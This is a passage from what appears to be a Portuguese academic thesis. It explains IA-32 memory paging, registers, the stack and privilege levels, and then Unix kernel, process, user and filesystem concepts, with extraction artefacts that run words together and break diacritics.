sadorvai executarasinstruç̃oese o tipo demodelodemeḿoria usado.A relaç̃aoentreelesé

(INTEL, 2003):

• Modo protegido: quandoo processadorest́a nestemodo,qualquertipo de modelode

meḿoria podeserusado,dependendodaimplementac¸ãodosistemaoperacional.

• Modo de endereçamento real: quandoest́a nestemodo, o processadorsó suportao

modelodemeḿoria deenderec¸amentoreal.

• Modo de gerenciamentode sistema: utiliza um modelodemeḿoria similar aomodelo

deenderec¸amentoreal.
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2.5.4 PAGINAÇÃO

A meḿoriatotaldispońıvel nãoénecessariamenteigual àmeḿoriafı́sicaqueo computador

possui. A utilização demeḿoria virtual possibilitaa extens̃ao daquantidadede meḿoria ao

extendera meḿoria no disco.Parafacilitar, um mecanismodemapeamentodeenderec¸o linear

paraenderec¸o fı́sicoénecesśario: apaginac¸ão.

O processador divide o espac¸o de enderec¸amentolinear em páginasde tamanholimitado

(geralmente4KB). Quandoum programatentaacessarum enderec¸o lógico, o processadoro

converteem enderec¸o linear atravésdo mecanismode segmentac¸ão e em seguidao converte

paraenderec¸o fı́sico,atravésdomecanismodepaginac¸ão.

Sea páginaqueo processo est́a tentandoacessarnão est́a em meḿoria, umaexceç̃ao de

falha de páginaé gerada,e geralmenteo sistemaoperacionalvai intercept́a-la e carregar a

páginarequeridaparaameḿoria. Apósvoltardotratadordeinterrupç̃ao,ainstruç̃aoquecausou

a exceç̃aoseŕa reiniciada.

A informaç̃ao queo processadorprecisaparaconverterenderec¸os linearesem enderec¸os

fı́sicosest́acontidaemumdiretório depáginaseemumatabeladepáginas.Ambossãoarrays

devaloresde32bits, cadaumcontidoemumapáginade4KB.

O registradordecontrolecr3 cont́ema basedeenderec¸osdasdiversastabelasdepáginas.

Comoelaest́acontidaemumapáginade4KB, o númeromáximodeentradaśe1024.Portanto,

umatabeladepáginaspossuienderec¸osdenomáximo1024 ṕaginas.

A figuraaseguir representacomoumenderec¸o linearé traduzidoemumenderec¸o fı́sico.

Figura 7: Traduç̃ao deenderec¸oslinearesusandopaginac¸ão(INTEL, 2003)
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Quandoapaginac¸ãoéutilizada,o enderec¸o linearé dividido emdiversaspartes:

• Bits 31 a 22: tem o deslocamentoparaumaentradana tabelade diretório. A entrada

selecionadaforneceabasedoenderec¸o fı́sicodeumatabeladepáginas.

• Bits21 a 12: temo deslocamentoparaumaentradanatabeladepáginaselecionada.Essa

entradaforneceabasedoenderec¸o fı́sicodeumapáginanameḿoria fı́sica.

• Bits 0 a 11: temo deslocamentoparaumenderec¸o fı́siconapágina.

O PDE (page directory entry, entradano diretório de páginas),e o PTE (page table entry,

entradanatabeladepáginas)sãorepresentadosaseguir:

Figura 8: PageDirectoryEntryePageTableEntry (INTEL, 2003)

Osbits31 a 12sãousadosparadeterminaro enderec¸o basedatabeladepáginaedapágina.

Osoutroscampos,sãodescritosaseguir:

• flag P: indicasepáginaest́a presenteemmeḿoria ou ñao,seum programatentaacessar

umapáginaondeo bit nãoest́asetado,umaexceç̃ao defalhadepáginaégerada;

• R/Wflag: especificaseapáginaépodeserescrita(bit setado)ouapenasleitura;

• U/Sflag: especificao privil égiodapágina.Se obit nãoest́asetado,apáginapossuińıvel

desupervisor, casocontŕario é ńıvel deusúario;

• WTflag: determinao tipo decacheutilizadoparaapáginaou tabeladepágina:seestiver

setado,́eutilizadowrite-through(quandoumaescritaé realizada,́eescritotantonocache

quantonameḿoria). Casocontŕario,write-backéutilizado(escritassãorealizadasapenas

nocache,edepoissãofeitasnameḿoriaquandoumaoperac¸ão dewrite-bacḱerealizada);

• CD flag: desabilitao cacheparaapáginaou tabeladepágina;

• A flag: indicaseapáginafoi acessadaou ñao.
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• D flag: indicaseapáginafoi modificada.

• AI flag: selecionao ı́ndicedeatributosdapágina.Foi apenasutilizadonosprocessadores

Pentium3 enãosãorelevantesparaestedocumento;

• PSflag: indica o tamanhoda página. Se ñao estiver setado,a páginaé 4KB. Páginas

maioresque4KB nãosãorelevantesparaestedocumento;

• G flag: indicasea páginaé globalou ñao. Sefor global,elanãoseŕa removida do TLB

quandoumnovoenderec¸o é lido no registradorcr3.

Comoo enderec¸amentopaginadotemum grandeimpactonaperformanceseum enderec¸o

tiver queserpesquisadotodaa vez quefor requisitado,o processadorarmazenaa páginade

diretório easentradasdatabeladepáginasemumcache,o TLB (translationlookasidebuffer).

Quandoo TLB fica cheio,o processadorcomeça aliberarespac¸o paranovasentradas.A partir

dafaḿılia Pentiumo processadorarmazenacachesTLB separados,um parainstruçõese outro

paradados,chamadosdeITLB (instructiontranslatelookasidebuffer) eDTLB (datatranslate

lookasidebuffer).

2.5.5 REGISTRADORESBÁSICOS

O processadorfornece16 registradoresbásicosquesãoutilizadospelosistemae tamb́em

naprogramac¸ão deaplicaç̃oes(Figura9). Sãoeles(INTEL, 2003):

• Registradoresde propósitogeral: oito registradores(EAX, EBX, ECX,EDX, ESI,EDI,

EBP e ESP)queest̃ao dispońıveis paraarmazenaroperandos(paraoperac¸õeslógicase

aritméticas,e paracálculosde enderec¸os) e ponteiros. Elesmant́em a compatibilidade

comarquiteturasanteriores,podendoseracessadosatravésde(AX, BX, CX, DX, SI, DI,

SPe BP, todosde16 bits) e tamb́emcompatibilidadecom8 bits (AH, BH, CH, DH, AL,

BL, CL e DL). Apesarde cadaum estardispońıvel paraarmazenamentogeńerico, eles

possuempropósitosde uso: EAX (acumuladorparaoperandose dadosde resultados),

EBX (ponteiroparadadosno segmentoDS), ECX (contadorparaoperac¸õesdestring e

loop), EDX (ponteirode I/O), ESI (ponteiroparadadosno segmentoapontadopor DS

e origemparaoperac¸õescom string), EDI (ponteiroparadadosno segmentoapontado

por ESe destinoparaoperac¸õescomstring), ESP(ponteiroparao topodapilha) e EBP

(ponteiroparaabasedapilha).

• Registradoresde segmento: são seisregistradores(CS,DS, SS,ES,FS e GS) quear-

mazenamosseletoresdesegmentode16bits. Um seletordesegmentoéumponteiroes-
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pecialqueidentificaum segmentonameḿoria. Quandoseutiliza o modelodemeḿoria

flat, os6 registradoresapontamparao mesmoenderec¸o linear, eosdadospodemseraces-

sadosutilizando-seumoffset(deslocamento).Jánomodelosegmentado,cadaregistrador

é ordinariamentecarregadocom um diferenteseletorde segmento,de tal maneiraque

cadaregistradoraponteparaumaregião diferentedentrodo espac¸o de enderec¸amento

linear. Cadaum dosregistradoresde segmentotem associadoa si um dostipos de ar-

mazenamento:código,dadosou pilha. O registradorCS cont́emo seletordesegmento

parao segmentodecódigo,ondeasinstruç̃oessãoarmazenadas,e elenãopodesercar-

regadoexplicitamentecomdadosdoprogramador, poisécontroladoimplicitamentepelo

processador. O registradorSSapontaparao segmentode pilha e podesermodificado

explicitamente.Osoutrossegmentos,DS,ES,FSe GS,apontamparaquatrosegmentos

dedados,o quepermiteacessoseguroe eficientea quatrotiposdiferentesdeestruturas

dedados.

• EFLAGS(registrador destatusecontroledo programa): reportao statusdoprograma

sendoexecutadoepermiteumcontrole(limitado)doprocessador.

• EIP (registrador de ponteiro para instrução): cont́emo offsetdentrodo segmentode

códigoatualqueseŕa apróximainstruç̃aoa serexecutadae é controladoimplicitamente

peloprocessador.
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Figura 9: PrincipaisregistradoresdaIA-32 (INTEL, 2003)

2.5.6 BIG ENDIANE LITTLEENDIAN

Existem2 tiposdeordenac¸ão debyte:

• little endian: tamb́emchamadodeIntel byteorder;

• big endian: tamb́emchamadodemotorola ounetworkbyteorder.

Little endianquer dizer que o LSB (least significantbyte, byte menossignificativo) de um

inteiro multibyteseŕa armazenadono enderec¸o maisbaixo. Enquantoqueem big endian, o

MSB (mostsignificantbyte, bytemaissignificativo) seŕa armazenadono enderec¸o maisbaixo.

Por exemplo,um inteiro com o valor hexadecimal0x12345678sefor armazenadoa partir da

posiç̃ao0 emmeḿoria,seriaarmazenadocomopodeservistonaTabela2 (HOWTO, 2000):

ComovemosnaTabela2,bigendianémaisleǵıvel. Noentanto,little endiansemostramais

eficientequandohá anecessidadedetruncarumvalor deum inteiro paratamanhosmenores.
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Tabela2: Big EndianeLittle Endian

mem [0] [1] [2] [3]
LE 0x78 0x56 0x34 0x12
BE 0x12 0x34 0x56 0x78

2.5.7 TIPOSDE OPERANDOSEM INSTRUÇÕES

As instruç̃oesdaarquiteturaIA-32 atuamemzeroou maisoperandos.Algunssãoespeci-

ficadosexplicitamenteem uma instruç̃ao e outrossão implı́citos. Os dadosque podemser

utilizadoscomoorigememumainstruç̃aopodemserdosseguintestipos(INTEL, 2003):

• Um operador imediato: sãodadosfixos fornecidosparaa instruç̃ao,por exemplo: add

EAX,14 (adiciona14aocontéudodoregistradorEAX). Nãopodemsermaioresque232.

• Um registrador: podemserutilizadososregistradoresdepropósitogeral,registradores

de segmento,o registradorEFLAGS, os registradoresx87, os registradoresMMX e

XMM, registradoresdecontrole(CR0ateCR4),registradoresdeponteiroparaastabelas

desistema,registradoresdedebuge registradoresMSR.

• Uma região dememória: sãoreferenciadosno formatodesegmento:offset, com16 bits

parasegmentoe 32 bits parao offset, por exemplo: mov ES:[EBX], EAX (move o valor

do registradorEAX no segmentoapontadopelo registradorES com um deslocamento

(offset) contidono registradorEBX).

• Uma porta de E/S: o processadorsuportaum espac¸o de enderec¸amentode E/S de at́e

65536portasdeE/Sde8 bits. Ela podeserutilizadacomooperandoatravésdeum valor

imediatooucomoumvalor no registradorDX.

Quandoainstruç̃aoretornadadosparaumoperandodedestino,elepodeserretornadopara

umdosseguinteslugares:

• Um registrador.

• Uma região dememória.

• Uma porta deE/S.
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Tabela3: Algumasinstruç̃oesdaIA-32 (emsintaxe Intel)

Instruç ão Sintaxe Descriç̃ao
mov mov dest, src Copiao contéudodesrc emdest
add adddest, src Adicionaemdesto valor desrc
sub subdest, src Subtraidedesto valor desrc
push pushalvo Empurrao valor emalvo napilha
pop popalvo Retiraumvalor dapilhaepõeemalvo
jmp jmp endereço Trocao valor contidoemeipparao valor emendereço
int int valor Chamaa interrupç̃aovalor

2.5.8 INSTRUÇÕESDE PROPÓSITO GERAL

As instruç̃oesdepropósitogeralrealizamoperac¸õesbásicasde: movimentodedados,ar-

itmética,lógica,fluxo deexecuç̃aoeoperac¸ãocomstringsqueosprogramadoresusamparaes-

creveraplicaç̃oesquerodamnaarquiteturaIA-32. Elasoperamemdadoscontidosnameḿoria,

nosregistradoresdepropósitogeral,nosregistradoresdesegmentoe no registradorEFLAGS.

A Tabela3 listaasprincipaisinstruç̃oesutilizadas(INTEL, 2003).

2.5.9 A PILHA

O processadorsuportachamadasdeprocedimentosnasseguintesmaneiras:instruç̃oescall

e ret, e instruç̃oesentere leave, quetrabalhamemconjuntocomasinstruç̃oescall e ret. Esses

doismecanismosusamapilhadeprocedimento,ousimplesmentepilha,para:salvaro estadodo

procedimentochamador, passagemdepar̂ametrosparao procedimentochamado,e armazenar

variáveislocaisparao procedimentoemexecuç̃ao(INTEL, 2003).

A pilhaéumtipo abstratodedadosquepossuiacaracteŕısticadeserLIFO, last in, firstout,

ouseja,o primeiroitemadicionadóeo primeiroasair. Emmeḿoria,apilha éapenasumarray

cont́ıguodelocaisdemeḿoria. Ela est́a contidaemum segmentoe é identificadapeloseletor

desegmentono registradorSS.Ela podeter um tamanhode4 gigabytes, tamanhomáximode

um segmento.Os ı́tenssão colocadosna pilha usandoa instruç̃ao pushe removidos da pilha

atravésdainstruç̃aopop.

Quandoum item é colocadonapilha, o processadordecrementao registradoresp, e ent̃ao

escreve o item novo notopodapilha. Quandoum itemé retiradodapilha, o processadorlê o

item do topodapilha,e ent̃aoincrementao registradoresp. Dessamaneira,a pilha crescepara

baixo(emdireç̃ao aoenderec¸o maisbaixo)quandóıtenssãocolocadosnapilha e diminui para

cima(emdireç̃ao aoenderec¸o maisalto)quandóıtenssãoretiradosdapilha.
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Um programaou sistemaoperacionalpodepossuirmuitaspilhas. Issoé utilizadoemsis-

temasmultitarefa,ondecadatarefa possuia suaprópriapilha. O númerodepilhasemum sis-

temaélimitadopelonúmeromáximodesegmentose aquantidadedemeḿoriafı́sicadispońıvel.

Quandoum sistemapossuimuitaspilhas, apenasuma est́a dispońıvel por vez: a pilha

atual. A pilha atual é aquelacontidano segmentoreferenciadopelo registradorSS. O pro-

cessadorreferenciao registradorSSautomaticamenteparatodasasoperac¸õescompilha. Por

exemplo,quandoo registradorespé utilizadocomoum enderec¸o demeḿoria, eleautomatica-

menteapontaparaum enderec¸o napilha atual. Al émdisso,asinstruç̃oescall, ret, push,pop,

entere leaverealizamoperac¸õesnapilha atual (INTEL, 2003).

O processadorpossuidoisponteirosparaa ligaç̃ao deprocedimentos:o ponteirobasepara

o stack-frame(quadrodepilha,ouregistrodeativaç̃ao)eo ponteiroreturninstruction(enderec¸o

deretorno).

A pilha é tipicamentedividida em quadros(Figura10). Cadaquadroda pilha podepos-

suir variáveis locais,par̂ametrosa serempassadosparaoutroprocedimentoe informaç̃aopara

ligaç̃ao deprocedimentos.O ponteirobasedo quadroatual(contidono registradorebp) identi-

ficaumpontoderefer̂enciafixo dentrodoquadrodepilhaparao procedimentochamado.Para

usaresseponteirodequadro,o procedimentochamadogeralmentecopiao valor do registrador

espno registradorebpantesdeempilharsuasvariáveislocais.

Com isso,o ponteirode quadropermiteacessofácil àsestruturasde dadospassadasna

pilha,aoponteirodeenderec¸o deretornoeàsvariáveislocaisadicionadasparaapilhapelopro-

cedimentochamado.O ponteirodeenderec¸o deretornoéempilhadoautomaticamenteantesde

umainstruç̃aocall, eéo enderec¸o queapontaparaainstruç̃aoondea execuç̃aodoprocedimento

chamadordeve retornaremconseq̈uênciado retornodafunçãochamada.

O processadornãosepreocupacoma veracidadedessevalor, portantoé decargo dopro-

gramador/sistemaoperacionalassegurar que ele apontaparao local certo. A passagemde

par̂ametrosentreprocedimentospodemserfeitosdetrêsmaneiras:atravésdosregistradoresde

propósitogeral,um ponteiroparaumalista deargumentos(queseencontramnameḿoria) ou

pelapilha (INTEL, 2003).
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Figura 10: Estruturadapilha (INTEL, 2003)

2.5.10 NÍVEIS DE PRIVILÉGIO

Na arquiteturaIA-32, o mecanismodeproteç̃aofornece4 ńıveisdeprivil égio,numerados

de 0 a 3, ondeos maioresnúmerossignificamńıveis menosprivilegiados. A principal raz̃ao

parao usodessesńıveisprivilegiadosé aumentara confiabil idadedesistemasoperacionais.O

ńıvel maisalto de privil égio, o ńıvel 0 (zero), é usadopor segmentosquecont́em os códigos

maiscŕıticosno sistema,geralmentea partecentraldo sistemaoperacional.Osoutrosńıveis,

sãoutilizadospor programasquepossuemcódigosmenoscŕıticos. O acessode ńıveismenos

privilegiadosamódulosmaisprivilegiadossó éposśıvel atravésdeumainterfacerigorosamente

controladae protegidachamadagate. Qualquertentativa deacessoa umacamadamaisprivi-

legiadasempassarpelogatedeproteç̃aoou sempossuirdireitossuficientesgeraumaexceç̃ao

(INTEL, 2003).

2.6 SISTEMASOPERACIONAIS

Nestaseç̃aoveremoso funcionamentodeum sistemaoperacionaltradicionale emseguida

comoo Linux seencaixanosconceitosbásicos.
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2.6.1 CONCEITOSBÁSICOS

Cadacomputadorpossuium conjuntobásicode programaschamadode sistemaopera-

cional. Dentrodo sistemaoperacional,seencontrao principal componenteconhecidocomo

kernel9, queé carregadonameḿoria quandoo sistemainicia e possuiosprocedimentosmais

cŕıticosparao bom funcionamentodosistema.Porisso,o kernelàsvezessetornasinônimode

sistemaoperacional(BOVET; CESATI, 2003).

O sistemaoperacionaldevecumprirdoisobjetivosprincipais:

• interagir como hardware, trabalhando comoselementosdebaixo nı́vel doselemen-

tosdo hardware;

• fornecerum ambientede execuç̃ao est́avel e confiável para asaplicaçõesque serão

executadas(programasdeusuário).

Algunssistemasoperacionaispermitemqueo usúarioacessediretamenteo hardware, como

o MS-DOS.Em um Unix-like, quandoum programaprecisaacessarum dispositivo de hard-

ware, eledeveprimeiropedirpermiss̃ao aosistemaoperacional.O kernelent̃aoavaliao pedido

decidindoseo programapossuio direito deacessaro recurso(BOVET; CESATI, 2003).

Parautilizar essemecanismo,ossistemasoperacionaismodernosutilizamcaracteŕısticasdo

hardwarequepróıbemqueprogramasdeusúarioacessemdiretamentedispositivosdehardware

ou acesseregiõesde meḿoria arbitrários. O hardware implementapelo menosdois modos

de execuç̃ao paraa CPU: um modonão-privilegiadoparaprogramasde usúario e um modo

privilegiadoparao kernel. O Unix oschamadeModo usúario e modokernel, respectivamente

(BOVET; CESATI, 2003).

2.6.2 SISTEMASMULTIUSUÁRIO

Um sistemamultiusúario é aquelequeé capazde executarconcorrentementee indepen-

dentementetarefaspertencentesa doisou maisusúarios. Concorrentementequerdizerqueas

aplicaç̃oespodemestarativasaomesmotempoe podendoutilizar váriosrecursoscomoCPU,

meḿoria e discorı́gido. Independentementequerdizer quecadaaplicaç̃ao poderealizarsua

tarefasemterquesepreocuparcomo queest́asendofeito pelasaplicaç̃oesdosoutrosusúarios.

Ossistemasoperacionaismultiusúario devempossuircaracteŕısticascomo:

9kernel é o ”coraç̃ao” deum sistemaoperacional.É elequecuidadetarefascomogerenciamentodemeḿoria
eprocessos.
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• um mecanismodeautenticaç̃ao para verificar a identidadedo usuário;

• um mecanismode proteç̃ao contra programasde usuários mal projetadosque po-

dembloquear outras aplicaçõessendoexecutadasno sistema;

• um mecanismode proteç̃ao contra programas maliciososde usuários que poderiam

interferir ou espionarematividadesdeoutrosusuários;

• um mecanismode contasque limite a quantidade de recursodesignadopara cada

usuário.

Paragarantiressesmecanismosdeproteç̃ao,ossistemasoperacionaisdevemusaraproteç̃ao

dehardware existenteno modoprivilegiadodaCPU.Casocontŕario, um programadeusúario

poderiaacessaros componentesdo sistemae superaras restriç̃oesimpostas. O Unix é um

sistemaoperacionalmultiusúario que força aproteç̃ao dehardware dos recursosdo sistema

(BOVET; CESATI, 2003).

2.6.3 GRUPOSE USUÁRIOS

Em um sistemamultiusúario, cadausúario possuium espac¸o privadonamáquina,e o sis-

temaoperacionaldeve garantirqueesseespac¸o sejaviśıvel apenasparao seudono,ou seja,

eledeve assegurarquenenhumoutro usúario possaexplorar umaaplicaç̃aodo sistemacomo

propósitodeviolar o espac¸o privadodeoutrousúario (BOVET; CESATI, 2003).

TodososusúariossãoidentificadosporumúniconúmerochamadoUserID, ouUID. Cada

usúario possuium login (nomede usúario) e suarespectiva senha.Se ousúario não fornecer

um parválido,o sistemanega o acesso.Assumindo-sequea senháe secreta,a privacidadedo

usúario égarantida.Paracompartilharmaterialcomoutrosusúarios,cadausúario émembrode

um ou maisgrupos,osquaissãoidentificadospor um úniconúmerochamadodeGroupID, ou

GID. Cadaarquivo éassociadoaumúnicogrupo.Porexemplo,o acessoaumarquivo podeser

configuradodetal maneiraapermitir queo propriet́ariopossuapermiss̃ao deleituraeescrita,o

grupopossuapermiss̃aoapenasdeleitura,eosdemaisnãotenhampermiss̃aoalguma.

QualquersistemaoperacionalUnix-like possuium usúario especialchamadoroot, supe-

ruser, ou supervisor. O administradordesistemadeve conectar-secomoroot paragerenciaras

contasdeusúario, realizartarefasdemanutenc¸ãocomobackupse atualizac¸õesdeprogramas,

entreoutros.O usúario root podefazerquasetudo,já queo sistemaoperacionalnãoaplicaas

restriç̃oescomunsa ele. Mais especificamente,o root podeacessarqualquerarquivo no sis-

temae podeinterferir coma atividadedequalquerprogramadeusúario emexecuç̃ao(BOVET;



29

CESATI, 2003).

2.6.4 PROCESSOS

Todosossistemasoperacionaisutilizam umaabstrac¸ãofundamental:o processo.Um pro-

cessopodeser definidocomo ”umainst̂anciade um programaem execuç̃ao” ou como ”um

contexto de execuç̃ao” deum programarodando.Nos sistemasoperacionaistradicionais,um

processoexecutaumaseq̈uênciade instruç̃oesemum espac¸o deenderec¸amento.O espac¸o de

enderec¸amentoé um conjuntode enderec¸os de meḿoria queo processopossuipermiss̃ao de

acessar.

Ossistemasmultiusúario devemfornecerum ambientedeexecuç̃aono qualdiversospro-

cessospodemestarativosconcorrentementee utilizandorecursosdo sistema,principalmentea

CPU.Sistemasquepermitemprocessosconcorrentessãoconhecidoscomomultiprogramados

oumultiprocessados.

Emsistemasuniprocessados,apenasumprocessopodeestaremexecuç̃ao naCPU.Um sis-

temaoperacionalpossuium componentechamadoescalonador, quedefinequalprocessoseŕa

executado. Alguns sistemasoperacionaispermitemapenasprocessosnão-preemptı́veis, que

querdizer queo escalonadoŕe apenaschamadoquandoo processoqueestava em execuç̃ao

voluntariamenteliberaa CPU.Masprocessosdeum sistemamultiusúario devemserpreemp-

tivos, com o sistemacontrolandoquantotempocadaprocessoutiliza a CPU, e deve ativar o

escalonadorperiodicamente.O Unix é um sistemaoperacionalmultiusúario com processos

preemptivos(BOVET; CESATI, 2003).

SistemasoperacionaisUnix-like adotamo modeloprocesso/kernel. Cadaprocessotem a

ilusão dequeé o único processona máquinae tem acessoexclusivo aosserviços do sistema

operacional.Quandoumprocessorealizaumachamadadesistema,isto é,umachamadaparao

kernel, o hardwaremudao modo deexecuç̃ao demodousúario paramodokernel, eo processo

inicia a execuç̃ao do procedimentocom um propósito ligeiramentelimitado. Dessamaneira,

o sistemaoperacionalatuadentrodo contexto de execuç̃ao do processoparasatisfazero seu

pedido.Quandoa requisiç̃aofor satisfeita,o kernel força o hardware pararetornarparamodo

usúario e o processocontinuaa suaexecuç̃aoa partir da instruç̃ao aṕosa chamadadesistema

(BOVET; CESATI, 2003).

2.6.5 ARQUITETURA DO KERNEL

Existem2 abordagensdearquiteturadokernel(BOVET; CESATI, 2003):
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• monoĺıtico: cadacamadado kernel é integradaemum únicoprogramadekernele roda

emmodokernel;

• microkernel: o kernel possuium conjuntopequenode funções,geralmenteincluindo

algumasprimitivasdesincronizac¸ão,um escalonadore um mecanismodecomunicac¸ão

interprocesso.Diversosprocessosquerodamemcimado microkernelimplementamas

outrasfunçõesdosistemaoperacional,comoalocaç̃ao demeḿoria,devicedrivers10. Este

tipo dearquiteturapossuiumadesvantagememrelaç̃ao aomonoĺıtico, poisa passagem

demensagementreascamadaśecustosa.Possuivantagensteóricas,poisforçaosprogra-

madoresa usaremumaabordagemmodularizada,facilitama portabilidade,e fazemum

melhorusodameḿoria, já quepartesquenãoest̃aosendoutilizadaspodemserdescar-

tadas.

Paraatingir asvantagensde microkernels,o kernel do Linux possuimódulos. Um módulo é

um arquivo objetoquepodeseranexado(e removido) ao kernel em tempode execuç̃ao. As

vantagensprincipaisdousodemódulossão(BOVET; CESATI, 2003):

• Uma abordagemmodularizada: já quequalquermódulopodeseranexadoe removido

em tempode execuç̃ao, os programadoresdevem utilizar interfacesbemdefinidaspara

acessarasestruturasdedadoscontroladaspelosmódulos.Issofacilitao desenvolvimento

denovosmódulos;

• independ̂enciade plataforma: osmódulosnãodependemdeumaplataformadehard-

warefixa, um exemploé o driver SCSI,quefuncionatantoparaPCscompat́ıveis com

IBM quantoparaarquiteturaalphadaHP;

• não há perda de performance: aoseranexado,o códigoobjetodeum móduloé equiv-

alenteaocódigoobjetodeum kernelcompiladoestaticamente.Entretanto,nãohá pas-

sagemdemensagensexplı́citasquandoasfunçõesdomódulosãochamadas.

2.6.6 VISÃO GERAL DE UM SISTEMADE ARQUIVOSNO UNIX

Um arquivo Unix éumcontainerdeinformaç̃oesestruturadocomoumaseq̈uênciadebytes,

o kernelnão interpretao contéudodo arquivo. Do pontodevistado usúario, arquivos s̃aoor-

ganizadosemumaárvore,comomostraa figura11. Todososnósdaárvore,excetoasfolhas,

indicamnomesdediretórios. Um nó dediretório cont́eminformaç̃oessobreosarquivose di-

retóriosdentrodele.Um nomedearquivo oudiretório consisteemumaseq̈uênciadecaracteres

10devicedriverssãoprogramasquefazema interaç̃aocomdispositivosdehardware



31

ASCII arbitrários,coma exceç̃aodoscaracteres”/” e ”0” (o caracterenulo). A maioriadossis-

temasdearquivoslimitam o tamanhodeumnome,geralmentenãopassandode255caracteres.

O diretório correspondentèa raiz da árvoreé chamadode ”diretório root”. Por convenç̃ao, o

seunomeé umabarra(/). Os nomesdevem serdiferentesdentrodo mesmodiretório, maso

mesmonomepodeserusadoemdiferentesdiretórios(BOVET; CESATI, 2003).

Figura 11: Um exemplodeárvoredediretóriosdoUnix

O Unix associao diretório detrabalhoatualcomcadaprocesso,pertencendoaocontexto de

execuç̃aodo processo,identificandoo diretório atualmenteusadopor ele. Paraidentificarum

arquivo espećıfico, o processoutiliza umcaminhodearquivo, queconsistedebarrasalternando

com umaseq̈uênciadenomesdediretóriosquelevamaoarquivo. Se oprimeiro item do cam-

inho é umabarra,ent̃aoo caminhoé absoluto,já queo seupontodepartidaé o diretório root.

Casocontrario,seo primeiroiteméumdiretório ouumnomedearquivo, o caminhoé relativo,

já queo pontodepartidaé o diretório atual.Ao seespecificarnomesdearquivos,asnotaç̃oes

”.” e ”..” tamb́em são usadas.Elas indicam o diretório de trabalhoatual e o diretório pai,

respectivamente.Se odiretório detrabalhoatual é o diretório root, ent̃ao”.” e ”..” coincidem

(BOVET; CESATI, 2003).

OsarquivosnoUnix podemserdosseguintestipos(BOVET; CESATI, 2003):

• Um arquivo regular;

• Um dir etório;

• Um link simbólico;

• Um arquivo dedispositivo orientado a bloco;

• Um arquivo dedispositivo orientado a caractere;

• Um pipeeum pipenomeado;
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• Um Socket.

Os trêsprimeirosfazempartede um sistemade arquivos padr̃ao Unix. Link simbólicos

são arquivos pequenosque contemum caminhoarbitrário paraoutro arquivo. Arquivos de

dispositivo est̃aorelacionadoscomtarefasdeE/Se devicedrivers integradosno kernel. Pipes

e socketssão arquivos especiaisutilizadosparacomunicac¸ão interprocesso(BOVET; CESATI,

2003).

O Unix fazumadistinç̃aoclaraentreo contéudodeum arquivo e ainformaç̃aosobreum

arquivo. Comexceç̃aodosarquivosdedispositivo eosarquivosespeciais,cadaarquivo consiste

deumaseq̈uênciadecaracteres.O arquivo não inclui nenhumainformaç̃ao decontrole,como

o seutamanhoou um delimitadorEOF. Todaa informaç̃aonecesśariapelosistemadearquivos

paracontrolarum arquivo est́a inclúıdo em umaestruturade dadoschamadainode. Cadaar-

quivo possuio seupróprio inode, o qual é utilizadopelosistemadearquivo paraidentificá-lo.

O padr̃aoPOSIXespecificaosseguintesatributosdo inode(BOVET; CESATI, 2003):

• tipo dearquivo;

• número de links associadoscomo arquivo;

• tamanhodo arquivo embytes;

• identificador do dispositivo quecontémo arquivo;

• número inodeque identifica o arquivo dentro do sistemadearquivos;

• UID do dono doarquivo;

• GID do arquivo;

• diversosmarcadoresdetempoqueindicam o último acessoaoarquivo, última modificação

do arquivo e última modificaçãodo statusdo arquivo;

• dir eitosdeacessoemododo arquivo.

Osusúariosdearquivosseencaixamem3 categorias(BOVET; CESATI, 2003):

• o usuário que édono doarquivo;

• osusuários quepertencemaomesmogrupo do arquivo, semincluir o dono;

• osoutrosusuários;
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Existemtrêstiposdedireitosdeacesso:leitura,escritae execuç̃ao,e paracadadesse,três

classes.Portanto,a definiç̃ao dedireitosde acessoassociadosa um arquivo consistede nove

indicadores.Ostrêsindicadoresadicionaischamadossuid (SetUser ID), sgid (SetGroupID)

e sticky, definemo mododo arquivo. Essestrêsindicadorestêmosseguintessentidosquando

aplicadosaarquivosexecut́aveis(BOVET; CESATI, 2003):

• suid: Um processoque executaum arquivo normalmentemant́em o UID do dono do

processo.Entretanto,seo arquivo execut́avel possuio indicadorsuiddefinido,o processo

rodacomoo UID do dono doarquivo;

• sgid: Um processoque executaum arquivo normalmentemant́em o GID do dono do

processo.Entretanto,seo arquivo execut́avel possuio indicadorsgiddefinido,o processo

rodacomoo GID dogrupodoarquivo;

• sticky: um arquivo quepossuiesteindicadorsetadoinformaaokernelparaqueeleman-

tenhao programanameḿoria aṕoso términodesuaexecuç̃ao.

2.6.7 VISÃO GERAL DO KERNELDO UNIX

Como já mencionadoa CPU poderodar ou em modo usúario ou em modo kernel. Na

verdadealgumasCPUspodemter mais do que dois estadosde execuç̃ao. Por exemplo, os

processadoresdaarquiteturaIntel possuemquadroestadosdeexecuç̃aodiferentes,porémtodos

os kernelsUnix padr̃ao utilizam apenasdois. Quandoum programaé executadoem modo

usúario, elenãopodeacessardiretamenteasestruturasdedadosdo kernelou osprogramasdo

kernel. Quandoumaaplicaç̃aoexecutaemmodokernel, nãohá restriç̃aoalguma.CadaCPU

forneceinstruç̃oesespeciaisparatrocarde modousúario paramodokernel e vice-versa. Um

programageralmentée executadoemmodousúario, e trocaparamodokernelapenasquando

requisitaum serviço fornecidopelokernel. Quandoo kernel já realizouo pedidodo programa,

eleé colocadodenovoemmodousúario (BOVET; CESATI, 2003).

Processossãoentidadesdinâmicasquegeralmentetemum tempodevida limitado dentro

deumsistema.A tarefadecriaç̃ao,eliminaç̃ao,esincronizac¸ão deprocessosexistenteśe tarefa

deum grupoderotinasno kernel. O kernelpor si só não é um processo,masum gerenciador

de processos.O modeloprocesso/kernel assumequecadaprocessoquenecessitede tarefas

realizadasapenaspelokerneluseaschamadasdesistema.Cadachamadadesistemaconfigura

um grupodepar̂ametrosqueidentificaa requisiç̃aodo processoe ent̃aoexecutaa instruç̃ao de

CPUresponśavel pelatrocademodousúario paramodokernel(BOVET; CESATI, 2003).
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SistemasUnix incluemum conjuntopequenode processosprivilegiadoschamadokernel

threads, comas seguintescaracteŕısticas(BOVET; CESATI, 2003):

• elesrodamemmodokernel eno espaço deendereçamentodo kernel;

• elesnão interagem com usuários, e portanto não necessitamde dispositivosde ter-

minal;

• são geralmentecriados durante a inicialização do sistemae permanecemrodando

até o desligamento.

Em um sistemauniprocessado,apenasum processoest́a em execuç̃ao por vez e ele roda

ou emmodousúario ou modokernel. A Figura12 ilustra exemplosde transiç̃oesentremodo

usúario e kernel. Na figura, o Processo1 realizauma chamadade sistema,e o processóe

alteradoparamodokernel e o pedidoé executado.O Processo1 ent̃ao continuaa execuç̃ao

